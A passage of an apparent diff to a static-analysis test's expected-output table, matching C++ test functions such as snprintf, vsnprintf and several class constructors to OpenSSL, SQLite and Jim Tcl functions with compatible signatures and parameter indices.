MyDerivedValue | (const BIGNUM *,int) | | BN_get_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIO *,int) | | BIO_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIO *,int) | | BIO_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DH *,int) | | DH_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DH *,int) | | DH_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DH *,int) | | ossl_dh_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DSA *,int) | | DSA_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DSA *,int) | | DSA_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DSA *,int) | | ossl_dsa_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const RSA *,int) | | RSA_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const RSA *,int) | | RSA_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const RSA *,int) | | ossl_rsa_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL *,int) | | SSL_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const UI *,int) | | UI_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509 *,int) | | X509_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509 *,int) | | X509_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const XCHAR *,int) | CStringT | CStringT | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const YCHAR *,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | DH_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | DSA_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | Jim_StrDupLen | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | RSA_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | parse_yesno | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int *,int) | | X509_PURPOSE_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int *,int) | | X509_TRUST_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | BN_security_bits | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | EVP_MD_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | EVP_PKEY_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | acttab_alloc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (rule *,int) | | Configlist_add | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (rule *,int) | | Configlist_addbasis | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (uint16_t,int) | | tls1_group_id2nid | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned char *,int) | | RAND_bytes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (void *,int) | | DSO_dsobyaddr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (void *,int) | | sqlite3_realloc | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (wchar_t,int) | CStringT | CStringT | 1 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ASN1_STRING_type_new | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ASN1_tag2bit | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ASN1_tag2str | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | EVP_PKEY_asn1_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | Jim_ReturnCode | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | Jim_SignalId | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OBJ_nid2ln | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OBJ_nid2obj | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OBJ_nid2sn | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OSSL_STORE_INFO_type_string | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OSSL_trace_get_category_name | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | PKCS12_init | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | Symbol_Nth | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_PURPOSE_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_PURPOSE_get_by_id | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_TRUST_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_TRUST_get_by_id | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | evp_pkey_type2name | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_cmp_bodytype_to_string | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_tolower | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_toupper | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | sqlite3_compileoption_get | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | sqlite3_errstr | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | tls13_alert_code | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_STRING_type_new | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_tag2bit | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_tag2str | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | EVP_PKEY_asn1_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | Jim_ReturnCode | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | Jim_SignalId | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OBJ_nid2ln | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OBJ_nid2obj | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OBJ_nid2sn | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OSSL_STORE_INFO_type_string | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OSSL_trace_get_category_name | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | PKCS12_init | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | Symbol_Nth | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_PURPOSE_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_PURPOSE_get_by_id | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_TRUST_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_TRUST_get_by_id | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | evp_pkey_type2name | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_cmp_bodytype_to_string | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_tolower | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_toupper | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | sqlite3_compileoption_get | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | sqlite3_errstr | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | tls13_alert_code | 0 | +| file://:0:0:0:0 | operator delete | (void *) | | ossl_kdf_data_new | 0 | +| file://:0:0:0:0 | operator new | (unsigned long) | | BN_num_bits_word | 0 | +| file://:0:0:0:0 | operator new | (unsigned long) | | BUF_MEM_new_ex | 0 | +| format.cpp:5:5:5:12 | snprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 2 | +| format.cpp:5:5:5:12 | snprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 0 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 1 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 2 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 3 | +| format.cpp:5:5:5:12 | snprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 2 | +| format.cpp:5:5:5:12 | snprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 3 | +| format.cpp:6:5:6:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | +| format.cpp:6:5:6:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | +| format.cpp:7:5:7:12 | swprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | +| format.cpp:7:5:7:12 | swprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 3 | +| format.cpp:7:5:7:12 | swprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (DSO *,int,long,void *) | | DSO_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (QUIC_RXFC 